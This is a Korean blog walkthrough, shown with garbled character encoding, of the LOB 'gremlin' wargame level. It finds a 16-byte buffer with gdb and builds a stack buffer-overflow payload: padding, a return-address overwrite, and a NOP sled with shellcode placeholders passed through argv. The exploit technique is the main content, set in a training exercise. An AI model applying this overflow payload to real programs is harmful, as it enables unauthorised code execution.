Wargame/CTF(Capture The Flag)

LOB gremlin

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2015. 9. 14.
728x90
๋ฐ˜์‘ํ˜•


gate์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ cp๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•œ๋‹ค. 


๊ทธํ›„ gremlin.c๋ฅผ ์—ด์–ด ๋ณด๋ฉด 16์ด๋ผ๋Š” buffer๋กœ small buffer๋ผ๋Š” ๊ฒƒ์„ ์•Œ์ˆ˜ ์žˆ๋‹ค.

๊ทธํ›„ gdb๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ณด๋ฉด sub 0x10์˜ ๊ฐ’์„ ํ™•์ธํ•ด๋ณด๋ฉด 16์ด๋ผ๋Š” ๊ฒƒ์œผ๋กœ dummy ๊ฐ’์ด ์—†๋Š” ๊ฒƒ์„ ํ™•์ธ ํ• ์ˆ˜ ์žˆ๋‹ค.



16๋ฐ”์ดํŠธ๋ฅผ ํ™•๋ณดํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ด๋ฏ€๋กœ main+3์— ๋ธŒ๋ ˆ์ดํฌ ํฌ์ธํŠธ๋ฅผ ๊ฑด๋‹ค.


๊ทธ๋ฆฌ๊ณ  ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰ ๋™์‹œ์— ์ธ์ž๊ฐ€ ์ „๋‹ฌ๋˜๋ฏ€๋กœ argv[2]์˜ ์œ„์น˜๋ฅผ ์•Œ์•„๋ณด๊ธฐ์œ„ํ•ด 

$(python -c 'print "\x90(buffer+sfp๊ฐ’)"*20+"BBBB(ret์„ ๋ฎ์–ด์จ์•ผํ•  ์ฃผ์†Œ ๊ฐ€๋“ค์–ด๊ฐˆ ์œ„์น˜"') $(python -c 'print "A"*241"")์„ ๋„ฃ๋Š”๋‹ค 



0x42424242๊ฐ€ ret์œ„์น˜๋กœ ๋ฎ์–ด์จ์•ผํ•˜๋ฏ€๋กœ ๋Œ€์ถฉ 4141414141์œ„์น˜๋ฅผ ์žก๊ณ  ๊ณต๊ฒฉ์„ํ•˜๋ฉด 


./colvolt $(python -c 'print "A"*20+"์ฃผ์†Œ๊ฐ’"') $(python -c 'print "\x90"*200+"์‰˜์ฝ”๋“œ"')


728x90
๋ฐ˜์‘ํ˜•

'Wargame > CTF(Capture The Flag)' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

LOB orc  (0) 2015.09.15
LOB goblin  (0) 2015.09.15
LOB gate  (0) 2015.09.14
Challenge 36 - Back Up  (0) 2015.09.05
Chellenge 39 - ???  (0) 2015.09.05

๋Œ“๊ธ€